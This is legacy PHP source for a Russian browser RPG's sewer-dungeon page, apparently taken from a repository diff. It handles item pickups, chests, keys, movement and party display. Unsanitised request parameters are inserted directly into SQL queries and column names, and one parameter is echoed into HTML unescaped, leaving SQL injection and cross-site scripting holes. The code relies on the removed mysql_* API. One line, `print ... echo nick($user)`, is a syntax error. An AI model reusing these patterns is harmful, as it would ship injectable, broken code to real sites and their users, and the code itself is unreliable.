if($stloc=='509'){mysql_query("UPDATE `podzem3` SET n$mesto='508' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='508'){mysql_query("UPDATE `podzem3` SET n$mesto='507' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='507'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");}
$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Болт'");
if($g = mysql_fetch_array($f)){
$koll = $g["maxdur"];
mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Болт'");
}else{
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Болт','1','bolt.gif','".$user['id']."','200','0.1','0','Лука')");
}
$mis = "Болт";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Болт'</font>";
}else{if($stloc==''){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Кто-то оказался быстрее!</font>";}}
}
///////////////Сбор Длинных Болтов/////////////
if($_GET['sun']=='se_gaika_bd'){
$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n$mesto"];
if($stloc=='511' or $stloc=='510' or $stloc=='509'){
if($stloc=='511'){mysql_query("UPDATE `podzem3` SET n$mesto='510' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='510'){mysql_query("UPDATE `podzem3` SET n$mesto='509' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='509'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");}
$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Длинный болт'");
if($g = mysql_fetch_array($f)){
$koll = $g["maxdur"];
mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.2 WHERE owner='".$user['id']."' and `type`='200' and `name`='Длинный болт'");
}else{
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Длинный болт','1','dbolt.gif','".$user['id']."','200','0.2','0','Лука')");
}
$mis = "Длинный болт";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Длинный болт'</font>";
}else{if($stloc==''){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Кто-то оказался быстрее!</font>";}}
}
/////////////////////////////////////
///////////////Сбор ключиик/////////////
if($_GET['sun']=='kluchiik'){
$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n$mesto"];
if($stloc=='510'){
if($stloc=='510'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");}
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Ключиик','1','kluchik.gif','".$user['id']."','200','0.5','0','Лука')");
$mis = "Ключиик";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Ключиик'</font>";
}else{if($stloc==''){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Кто-то оказался быстрее!</font>";}}
}
/////////////////////////////////////
///////////////Сбор сундуков/////////////
if($_GET['act']=='sunduk'){
$ferrr = mysql_query("SELECT n".$_GET['n']." FROM `podzem4` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n".$_GET['n'].""];
if($stloc=='13.1'){
$d = $_GET['n']+10;
$d2 = $_GET['n']-10;
$d3 = $_GET['n']+1;
$d4 = $_GET['n']-1;
if($mesto==$d or $mesto==$d2 or $mesto==$d3 or $mesto==$d4){
if($stloc=='13.1'){mysql_query("UPDATE `podzem4` SET n".$_GET['n']."='13.0' WHERE glava='$glava' and name='".$mir['name']."'");}
$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Гайка'");
if($g = mysql_fetch_array($f)){
$koll = $g["maxdur"];
mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Гайка'");
}else{
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Гайка','1','g.gif','".$user['id']."','200','0.1','0','Лука')");
}
$mis = "Гайка";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Гайка'</font>";
}
}else{if($stloc=='13.0'){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Кто-то оказался быстрее!</font>";}}
}
/////////////////////////////////////
///////////////Сбор сундуков (БОЛТ)/////////////
if($_GET['act']=='sunduk2'){
$ferrr = mysql_query("SELECT n".$_GET['n']." FROM `podzem4` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n".$_GET['n'].""];
if($stloc=='14.1'){
$d = $_GET['n']+10;
$d2 = $_GET['n']-10;
$d3 = $_GET['n']+1;
$d4 = $_GET['n']-1;
if($mesto==$d or $mesto==$d2 or $mesto==$d3 or $mesto==$d4){
if($stloc=='14.1'){mysql_query("UPDATE `podzem4` SET n".$_GET['n']."='14.0' WHERE glava='$glava' and name='".$mir['name']."'");}
$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Болт'");
if($g = mysql_fetch_array($f)){
$koll = $g["maxdur"];
mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Болт'");
}else{
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Болт','1','bolt.gif','".$user['id']."','200','0.1','0','Лука')");
}
$mis = "Болт";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Болт'</font>";
}
}else{if($stloc=='14.0'){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Кто-то оказался быстрее!</font>";}}
}
/////////////////////////////////////
///////////////Сбор ключей/////////////
if($_GET['act']=='key'){
$ferrr = mysql_query("SELECT n".$_GET['n']." FROM `podzem4` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n".$_GET['n'].""];
$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Ключик №".mysql_escape_string($_GET['b'])."'");
$g = mysql_fetch_array($f);
if(($stloc=='key1' or $stloc=='key2' or $stloc=='key3' or $stloc=='key4' or $stloc=='key5' or $stloc=='key6' or $stloc=='key7' or $stloc=='key8' or $stloc=='key9' or $stloc=='key10') and !$g){
if($mesto==$_GET['n']){
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Ключик №".mysql_escape_string($_GET['b'])."','1','$stloc.gif','".$user['id']."','200','0.1','0','Подземка')");
//Удаляем ключик с локи
//mysql_query("UPDATE `podzem4` SET n".$_GET['n']." = '' WHERE glava='".$glava."' and name='".$mir['name']."'");
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Ключик №".$_GET['b']."'</font>";
}
}else{if($g){print"&nbsp;<font style='font-size:12px; color:cc0000;'>У вас уже есть Ключик №".$_GET['b']."!</font>";}}
}
/////////////////////////////////////
///////////////Сбор гаек из стоков/////////////
if($_GET['act']=='stok'){
$ferrr = mysql_query("SELECT n".$_GET['n']." FROM `podzem4` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n".$_GET['n'].""];
$shans = rand(0,100);
if($shans<51){
mysql_query("UPDATE `podzem4` SET n".$_GET['n']."='11.0' WHERE glava='$glava' and name='".$mir['name']."'");
$stloc='11.0';
}
if($stloc=='11.1'){
if($mesto==$_GET['n']){
if($stloc=='11.1'){mysql_query("UPDATE `podzem4` SET n".mysql_escape_string($_GET['n'])."='11.0' WHERE glava='$glava' and name='".$mir['name']."'");}
$f=mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Гайка'");
if($g = mysql_fetch_array($f)){
$koll = $g["maxdur"];
mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Гайка'");
}else{
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Гайка','1','g.gif','".$user['id']."','200','0.1','0','Лука')");
}
$mis = "Гайка";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Гайка'</font>";
}
}else{if($stloc=='11.0'){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Попахивает...</font>";}}
}
///////////////Сбор гаек из стоков/////////////
if($_GET['act']=='stok2'){
$ferrr = mysql_query("SELECT n".$_GET['n']." FROM `podzem4` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n".$_GET['n'].""];
$shans = rand(0,100);
if($shans<51){
mysql_query("UPDATE `podzem4` SET n".$_GET['n']."='12.0' WHERE glava='$glava' and name='".$mir['name']."'");
$stloc='12.0';
}
if($stloc=='12.1'){
$d = $_GET['n']+10;
$d2 = $_GET['n']-10;
$d3 = $_GET['n']+1;
$d4 = $_GET['n']-1;
if($mesto==$d or $mesto==$d2 or $mesto==$d3 or $mesto==$d4){
if($stloc=='12.1'){mysql_query("UPDATE `podzem4` SET n".mysql_escape_string($_GET['n'])."='12.0' WHERE glava='$glava' and name='".$mir['name']."'");}
$f=mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Гайка'");
if($g = mysql_fetch_array($f)){
$koll = $g["maxdur"];
mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Гайка'");
}else{
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Гайка','1','g.gif','".$user['id']."','200','0.1','0','Лука')");
}
$mis = "Гайка";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Гайка'</font>";
}
}else{if($stloc=='12.0'){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Попахивает...</font>";}}
}
/////////////////////////////////////
if($mesto == '1'){$mesto = '01';}
if($mesto == '2'){$mesto = '02';}
if($mesto == '3'){$mesto = '03';}
if($mesto == '4'){$mesto = '04';}
if($mesto == '5'){$mesto = '05';}
if($mesto == '6'){$mesto = '06';}
if($mesto == '7'){$mesto = '07';}
if($mesto == '8'){$mesto = '08';}
if($mesto == '9'){$mesto = '09';}
// переходы
if(isset($_GET['left'])){
mysql_query("UPDATE `labirint` SET `vector` = '".mysql_escape_string($_GET['left'])."' WHERE `user_id` = '{$_SESSION['uid']}' ;");
//header('Location:canalizaciya.php');
die("<script>location.href='canalizaciya.php';</script>");
}
if(isset($_GET['right'])){
mysql_query("UPDATE `labirint` SET `vector` = '".mysql_escape_string($_GET['right'])."' WHERE `user_id` = '{$_SESSION['uid']}' ;");
//header('Location:canalizaciya.php');
die("<script>location.href='canalizaciya.php';</script>");
}
$fer = mysql_query("SELECT n".mysql_escape_string($rhar[$mesto][$_GET['path']])." FROM podzem3 WHERE glava='".$mir['glava']."' and name='".$mir['name']."'");
if($ret = @mysql_fetch_array($fer)){
$stoi = $ret["n".$rhar[$mesto][$_GET['path']].""];
}
if($rhar[$mesto][$_GET['path']] > 0 and $_GET['path'] < 4 and $_GET['path'] >= 0 and ($_SESSION['time'] <= time()) and ($stoi=='' or $stoi>'500')) {
if($_GET['path']==0) {$loc2=$mesto+10;}
if($_GET['path']==1) {$loc2=$mesto+1;}
if($_GET['path']==2) {$loc2=$mesto-10;}
if($_GET['path']==3) {$loc2=$mesto-1;}
$fers = mysql_query("SELECT n$loc2,v$loc2 FROM podzem4 WHERE glava='$glava' and name='".$mir['name']."'");
$rets = mysql_fetch_array($fers);
$ins = mysql_query("SELECT id FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Ключик №".$rets["n$loc2"]."'");
$setr = mysql_fetch_array($ins);
if($rets["n$loc2"]>=1 and $rets["n$loc2"]<=10 and !$setr){
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Нужен ключ №".$rets["n$loc2"]."".$rets["n$mesto"]."</font>";}else{
$vrem=30*60+time();
if($_GET['path']==0) {$nav='t=t-12';}
if($_GET['path']==1) {$nav='l=l+12';}
if($_GET['path']==2) {$nav='t=t+12';}
if($_GET['path']==3) {$nav='l=l-12';}
mysql_query("UPDATE `labirint` SET `location` = '".mysql_escape_string($rhar[$mesto][$_GET['path']])."',`visit_time`='$vrem',$nav WHERE `user_id` = '{$_SESSION['uid']}' ;");
$_SESSION['time'] = time()+1;
//header('Location:canalizaciya.php');
die("<script>location.href='canalizaciya.php';</script>");
}
}
?>
<TABLE border="0" width=100% cellspacing=0 cellpadding=0>
<TR>
<TD colspan=3 valign=top align=right nowrap>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" align="left">
<?php
//Вывести хп и ману
print "<div style=\"font-size: 12px\">". echo nick($user)."</div>";
?>
<br><br>
<center><table width="450" border="0" cellspacing="1" cellpadding="0">
<tr>
<td background="i/labirint3/bg_scroll_01.gif" align="center">Персонаж</td>
<td background="i/labirint3/bg_scroll_01.gif" align="center">Hp</td>
<td background="i/labirint3/bg_scroll_01.gif" align="center">Звание</td>
<td background="i/labirint3/bg_scroll_01.gif" align="center">Подземелье</td>
</tr>
<?
$rog=mysql_query("SELECT login,name,glava FROM `labirint` WHERE `glava`='$glava'");
while($more=mysql_fetch_array($rog)){
$big = mysql_fetch_array(mysql_query("SELECT hp,maxhp,id FROM `users` WHERE `login` = '".$more['login']."'"));
?>
<tr>
<td background="i/labirint3/bg_scroll_05.gif" align="center">
<a href=inf.php?<?=$big['id']?> target=_blank title="Информация о <?=$more['login']?>"><?=$more['login']?></a></td>
<td background="i/labirint3/bg_scroll_05.gif" align="center"><?=$big['hp']?>/<?=$big['maxhp']?> </td>
<td background="i/labirint3/bg_scroll_05.gif" align="center"><?if($more['login']==$more['glava']){print"Лидер";}else{print"Рядовой";}?></td>
<td background="i/labirint3/bg_scroll_05.gif" align="center"><?=$more['name']?></td>
<? if($user['login']==$more['glava'] and $more['login']==$more['glava']){ ?>
<td background="i/labirint3/bg_scroll_05.gif" align="center"><A href="#" onClick="findlogin( 'Выберите персонажа которого хотите выгнать','canalizaciya.php', 'kill')"><IMG alt="Выгнать из группы" src="i/labirint3/ico_kill_member1.gif" WIDTH="14" HEIGHT="17"></A>&nbsp;<A href="#" onClick="findlogin( 'Выберите персонажа которому хотите передать лидерство','canalizaciya.php', 'change')"><IMG alt="Передать лидерство" src="i/labirint3/ico_change_leader1.gif" WIDTH="14" HEIGHT="17"></A></td>
<?
}
print"</tr>";
}
?>
</table></center>
<?
print"<br>";
if($mir['dead']>'0'){print"<br><font style='font-size:15px; color:#600'> <b>&nbsp;&nbsp;Кол-во смертей:</font></b> <b style='font-size:14px; color:#000'>".$mir['dead']."</b><br><br>";}
include "podzem_res.php";
?>
</td>
<td align="right" width="530" height="285">
<?
include"navig.php";
echo build_move_image($mesto, $vektor, 1, $glava);
?>
</td>
</tr>
</table>
<script language="javascript" type="text/javascript">
var progressEnd = 32; // set to number of progress <span>'s.
var progressColor = '#00CC00'; // set to progress bar color
var mtime = parseInt('<?=($_SESSION['time']-time())?>');
if (!mtime || mtime<=0) {mtime=0;}
var progressInterval = Math.round(mtime*1000/progressEnd); // set to time between updates (milli-seconds)
var is_accessible = true;
var progressAt = progressEnd;
var progressTimer;
function progress_clear() {
for (var i = 1; i <= progressEnd; i++) document.getElementById('progress'+i).style.backgroundColor = 'transparent';
progressAt = 0;
for (var t = 1; t <= 8; t++) {
if (document.getElementById('m'+t) ) {
var tempname = document.getElementById('m'+t).children[0].src;
if (tempname.match(/b\.gif$/)) {
document.getElementById('m'+t).children[0].id = 'backend';
}
var newname;
newname = tempname.replace(/(b)?\.gif$/,'i.gif');
document.getElementById('m'+t).children[0].src = newname;
}
}
is_accessible = false;
set_moveto(true);
}
function progress_update() {
progressAt++;
//if (progressAt > progressEnd) progress_clear();
if (progressAt > progressEnd) {
for (var t = 1; t <= 8; t++) {
if (document.getElementById('m'+t) ) {
var tempname = document.getElementById('m'+t).children[0].src;
var newname;
newname = tempname.replace(/i\.gif$/,'.gif');
if (document.getElementById('m'+t).children[0].id == 'backend') {
tempname = newname.replace(/\.gif$/,'b.gif');
newname = tempname;
}
document.getElementById('m'+t).children[0].src = newname;
}
}
is_accessible = true;
if (window.solo_store && solo_store) { solo(solo_store); } // go to stored
set_moveto(false);
} else {document.getElementById('progress'+progressAt).style.backgroundColor = progressColor;
progressTimer = setTimeout('progress_update()',progressInterval);
}
}
function set_moveto (val) {
document.getElementById('moveto').disabled = val;
if (document.getElementById('bmoveto')) {
document.getElementById('bmoveto').disabled = val;
}
}
function progress_stop() {
clearTimeout(progressTimer);
progress_clear();
}
function check(it) {
return is_accessible;
}
function check_access () {
return is_accessible;
}
function ch_counter_color (color) {
progressColor = color;
for (var i = 1; i <= progressAt; i++) {
document.getElementById('progress'+i).style.backgroundColor = progressColor;
}
}
// brrr
if (mtime>0) {
progress_clear();
progress_update();
} else {
for (var i = 1; i <= progressEnd; i++) {
document.getElementById('progress'+i).style.backgroundColor = progressColor;
}
}
</script>
</TD>
</TR>
</TABLE>
<div id=hint3 class=ahint></div>
<script>top.onlineReload(true)</script>
<style>
BODY {
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
margin: 0px 0px 0px 0px;
scrollbar-face-color: #e3ac67;
scrollbar-highlight-color: #e0c3a0;
scrollbar-shadow-color: #b78d58;
scrollbar-3dlight-color: #b78d58;
scrollbar-arrow-color: #b78d58;
scrollbar-track-color: #e0c3a0;
scrollbar-darkshadow-color: #b78d58;
}
.menu {
z-index: 100;
background-color: #E4F2DF;
border-style: solid; border-width: 2px; border-color: #77c3fc
position: absolute;
left: 0px;
top: 0px;
visibility: hidden;
cursor:hand;
}
a.menuItem {
border: 0px solid #000000;
background-color: #484848;
color: #000000;
display: block;
font-family: Verdana, Arial;
font-size: 8pt;
font-weight: bold;
padding: 2px 12px 2px 8px;
text-decoration: none;
}
a.menuItem:hover {
background-color: #d4cbaa;
color: #000000;
}
</style>
<LINK REL=StyleSheet HREF='css/style.css' TYPE='text/css'>
<script>
var rnd = Math.random();
function sunduk(n)
{
document.location.href="?act=sunduk&n="+n+"&rnd="+Math.random();
}
function sunduk2(n)
{
document.location.href="?act=sunduk2&n="+n+"&rnd="+Math.random();
}
function key(n,b)
{
document.location.href="?act=key&n="+n+"&b="+b+"&rnd="+Math.random();
}
function stok2(n)
{
document.location.href="?act=stok2&n="+n+"&rnd="+Math.random();
}
function stok(n)
{
document.location.href="?act=stok&n="+n+"&rnd="+Math.random();
}
function attack(n)
{
document.location.href="?act=atk&n="+n+"&rnd="+Math.random();
}
function dialog()
{
document.location.href="?act=luka&rnd="+Math.random();
}
function OpenMenu(n,e){
var el, x, y;
el = document.all("oMenu");
var event = (window.event) ? window.event : e;
x = event.clientX + document.documentElement.scrollLeft +document.body.scrollLeft - 5;
y = event.clientY + document.documentElement.scrollTop + document.body.scrollTop-5;
if (event.clientY + 72 > document.body.clientHeight) { y-=62 } else { y-=2 }
el.innerHTML = '<div style="color:#000; cursor: pointer; height: 11px; margin: 2px; width: 45px;" class=menuItem onmouseout="this.className=\'menuItem\';" onmouseover="this.className=\'menuItem2\';" onclick="this.disabled = true;attack('+n+');closeMenu(event);">Напасть </div>';
el.style.left = x + "px";
el.style.top = y + "px";
el.style.visibility = "visible";
}
function Opendialog(n,e){
var el, x, y;
el = document.all("oMenu");
var event = (window.event) ? window.event : e;
x = event.clientX + document.documentElement.scrollLeft +document.body.scrollLeft - 5;
y = event.clientY + document.documentElement.scrollTop + document.body.scrollTop-5;
if (event.clientY + 72 > document.body.clientHeight) { y-=62 } else { y-=2 }
el.innerHTML = '<div style="color:#000; cursor: pointer;" class=menuItem onmouseout="this.className=\'menuItem\';" onmouseover="this.className=\'menuItem2\';" onclick="this.disabled = true;attack('+n+');"> &nbsp;Напасть </div><div style="color:#000; cursor: pointer;" class=menuItem onmouseout="this.className=\'menuItem\';" onmouseover="this.className=\'menuItem2\';" onclick="this.disabled = true;dialog();"> Говорить </div>';
el.style.left = x + "px";
el.style.top = y + "px";
el.style.visibility = "visible";
}
//Закрыть меню нападения
function closeMenu(){
if (window.event && window.event.toElement)
{var cls = window.event.toElement.className;
if (cls=='menuItem' || cls=='menu') return;
}
document.all("oMenu").style.visibility = "hidden";
document.all("oMenu").style.top="0px";
document.all("oMenu").style.left="0px";
return false;
}
</script>
<div style="position:absolute; left:130px; top:50px;" ID=oMenu CLASS="menu"></DIV>
<script>load_page();</script>
</BODY>
</HTML>
<?}?>

195
canalization_mod.php Normal file
View File

@ -0,0 +1,195 @@
<?
if($user['room']==403){
$nes = mysql_query("SELECT * FROM podzem2 WHERE name='".$mir['name']."'");
$s = mysql_fetch_array($nes);
$rooms[0] = "";
// характеристики комнат
$rhar=array();
$vector=0;
$rhar['01']=array($s["v1"],$s["p1"],$s["n1"],$s["l1"]);
$rhar['02']=array($s["v2"],$s["p2"],$s["n2"],$s["l2"]);
$rhar['03']=array($s["v3"],$s["p3"],$s["n3"],$s["l3"]);
$rhar['04']=array($s["v4"],$s["p4"],$s["n4"],$s["l4"]);
$rhar['05']=array($s["v5"],$s["p5"],$s["n5"],$s["l5"]);
$rhar['06']=array($s["v6"],$s["p6"],$s["n6"],$s["l6"]);
$rhar['07']=array($s["v7"],$s["p7"],$s["n7"],$s["l7"]);
$rhar['08']=array($s["v8"],$s["p8"],$s["n8"],$s["l8"]);
$rhar['09']=array($s["v9"],$s["p9"],$s["n9"],$s["l9"]);
$rhar['11']=array($s["v11"],$s["p11"],$s["n11"],$s["l11"]);
$rhar['12']=array($s["v12"],$s["p12"],$s["n12"],$s["l12"]);
$rhar['13']=array($s["v13"],$s["p13"],$s["n13"],$s["l13"]);
$rhar['14']=array($s["v14"],$s["p14"],$s["n14"],$s["l14"]);
$rhar['15']=array($s["v15"],$s["p15"],$s["n15"],$s["l15"]);
$rhar['16']=array($s["v16"],$s["p16"],$s["n16"],$s["l16"]);
$rhar['17']=array($s["v17"],$s["p17"],$s["n17"],$s["l17"]);
$rhar['18']=array($s["v18"],$s["p18"],$s["n18"],$s["l18"]);
$rhar['19']=array($s["v19"],$s["p19"],$s["n19"],$s["l19"]);
$rhar['21']=array($s["v21"],$s["p21"],$s["n21"],$s["l21"]);
$rhar['22']=array($s["v22"],$s["p22"],$s["n22"],$s["l22"]);
$rhar['23']=array($s["v23"],$s["p23"],$s["n23"],$s["l23"]);
$rhar['24']=array($s["v24"],$s["p24"],$s["n24"],$s["l24"]);
$rhar['25']=array($s["v25"],$s["p25"],$s["n25"],$s["l25"]);
$rhar['26']=array($s["v26"],$s["p26"],$s["n26"],$s["l26"]);
$rhar['27']=array($s["v27"],$s["p27"],$s["n27"],$s["l27"]);
$rhar['28']=array($s["v28"],$s["p28"],$s["n28"],$s["l28"]);
$rhar['29']=array($s["v29"],$s["p29"],$s["n29"],$s["l29"]);
$rhar['31']=array($s["v31"],$s["p31"],$s["n31"],$s["l31"]);
$rhar['32']=array($s["v32"],$s["p32"],$s["n32"],$s["l32"]);
$rhar['33']=array($s["v33"],$s["p33"],$s["n33"],$s["l33"]);
$rhar['34']=array($s["v34"],$s["p34"],$s["n34"],$s["l34"]);
$rhar['35']=array($s["v35"],$s["p35"],$s["n35"],$s["l35"]);
$rhar['36']=array($s["v36"],$s["p36"],$s["n36"],$s["l36"]);
$rhar['37']=array($s["v37"],$s["p37"],$s["n37"],$s["l37"]);
$rhar['38']=array($s["v38"],$s["p38"],$s["n38"],$s["l38"]);
$rhar['39']=array($s["v39"],$s["p39"],$s["n39"],$s["l39"]);
$rhar['41']=array($s["v41"],$s["p41"],$s["n41"],$s["l41"]);
$rhar['42']=array($s["v42"],$s["p42"],$s["n42"],$s["l42"]);
$rhar['43']=array($s["v43"],$s["p43"],$s["n43"],$s["l43"]);
$rhar['44']=array($s["v44"],$s["p44"],$s["n44"],$s["l44"]);
$rhar['45']=array($s["v45"],$s["p45"],$s["n45"],$s["l45"]);
$rhar['46']=array($s["v46"],$s["p46"],$s["n46"],$s["l46"]);
$rhar['47']=array($s["v47"],$s["p47"],$s["n47"],$s["l47"]);
$rhar['48']=array($s["v48"],$s["p48"],$s["n48"],$s["l48"]);
$rhar['49']=array($s["v49"],$s["p49"],$s["n49"],$s["l49"]);
$rhar['51']=array($s["v51"],$s["p51"],$s["n51"],$s["l51"]);
$rhar['52']=array($s["v52"],$s["p52"],$s["n52"],$s["l52"]);
$rhar['53']=array($s["v53"],$s["p53"],$s["n53"],$s["l53"]);
$rhar['54']=array($s["v54"],$s["p54"],$s["n54"],$s["l54"]);
$rhar['55']=array($s["v55"],$s["p55"],$s["n55"],$s["l55"]);
$rhar['56']=array($s["v56"],$s["p56"],$s["n56"],$s["l56"]);
$rhar['57']=array($s["v57"],$s["p57"],$s["n57"],$s["l57"]);
$rhar['58']=array($s["v58"],$s["p58"],$s["n58"],$s["l58"]);
$rhar['59']=array($s["v59"],$s["p59"],$s["n59"],$s["l59"]);
$rhar['61']=array($s["v61"],$s["p61"],$s["n61"],$s["l61"]);
$rhar['62']=array($s["v62"],$s["p62"],$s["n62"],$s["l62"]);
$rhar['63']=array($s["v63"],$s["p63"],$s["n63"],$s["l63"]);
$rhar['64']=array($s["v64"],$s["p64"],$s["n64"],$s["l64"]);
$rhar['65']=array($s["v65"],$s["p65"],$s["n65"],$s["l65"]);
$rhar['66']=array($s["v66"],$s["p66"],$s["n66"],$s["l66"]);
$rhar['67']=array($s["v67"],$s["p67"],$s["n67"],$s["l67"]);
$rhar['68']=array($s["v68"],$s["p68"],$s["n68"],$s["l68"]);
$rhar['69']=array($s["v69"],$s["p69"],$s["n69"],$s["l69"]);
$rhar['71']=array($s["v71"],$s["p71"],$s["n71"],$s["l71"]);
$rhar['72']=array($s["v72"],$s["p72"],$s["n72"],$s["l72"]);
$rhar['73']=array($s["v73"],$s["p73"],$s["n73"],$s["l73"]);
$rhar['74']=array($s["v74"],$s["p74"],$s["n74"],$s["l74"]);
$rhar['75']=array($s["v75"],$s["p75"],$s["n75"],$s["l75"]);
$rhar['76']=array($s["v76"],$s["p76"],$s["n76"],$s["l76"]);
$rhar['77']=array($s["v77"],$s["p77"],$s["n77"],$s["l77"]);
$rhar['78']=array($s["v78"],$s["p78"],$s["n78"],$s["l78"]);
$rhar['79']=array($s["v79"],$s["p79"],$s["n79"],$s["l79"]);
$rhar['81']=array($s["v81"],$s["p81"],$s["n81"],$s["l81"]);
$rhar['82']=array($s["v82"],$s["p82"],$s["n82"],$s["l82"]);
$rhar['83']=array($s["v83"],$s["p83"],$s["n83"],$s["l83"]);
$rhar['84']=array($s["v84"],$s["p84"],$s["n84"],$s["l84"]);
$rhar['85']=array($s["v85"],$s["p85"],$s["n85"],$s["l85"]);
$rhar['86']=array($s["v86"],$s["p86"],$s["n86"],$s["l86"]);
$rhar['87']=array($s["v87"],$s["p87"],$s["n87"],$s["l87"]);
$rhar['88']=array($s["v88"],$s["p88"],$s["n88"],$s["l88"]);
$rhar['89']=array($s["v89"],$s["p89"],$s["n89"],$s["l89"]);
$rhar['91']=array($s["v91"],$s["p91"],$s["n91"],$s["l91"]);
$rhar['92']=array($s["v92"],$s["p92"],$s["n92"],$s["l92"]);
$rhar['93']=array($s["v93"],$s["p93"],$s["n93"],$s["l93"]);
$rhar['94']=array($s["v94"],$s["p94"],$s["n94"],$s["l94"]);
$rhar['95']=array($s["v95"],$s["p95"],$s["n95"],$s["l95"]);
$rhar['96']=array($s["v96"],$s["p96"],$s["n96"],$s["l96"]);
$rhar['97']=array($s["v97"],$s["p97"],$s["n97"],$s["l97"]);
$rhar['98']=array($s["v98"],$s["p98"],$s["n98"],$s["l98"]);
$rhar['99']=array($s["v99"],$s["p99"],$s["n99"],$s["l99"]);
function build_move_image($location, $vector, $styles,$glava) {
$step1=next_step($location, $vector);
if($step1['fwd']) {$step2=next_step($step1['fwd'], $vector);}
if($step2['fwd']) {$step3=next_step($step2['fwd'], $vector);}
if($step3['fwd']) {$step4=next_step($step3['fwd'], $vector);}
else{$step4['fwd']=false;}
if(!$step4['left']) $s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ln4.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
if($step4['left']) $s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ly4.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
if($step4['right']) $s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/ry4.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
if(!$step4['right']) $s.='<div style="position:absolute; left:11px; top:10px;"><img src="labirint3/'.$styles.'/rn4.gif" width="352" height="240" title="Этаж 1 - Канализация"></div>';
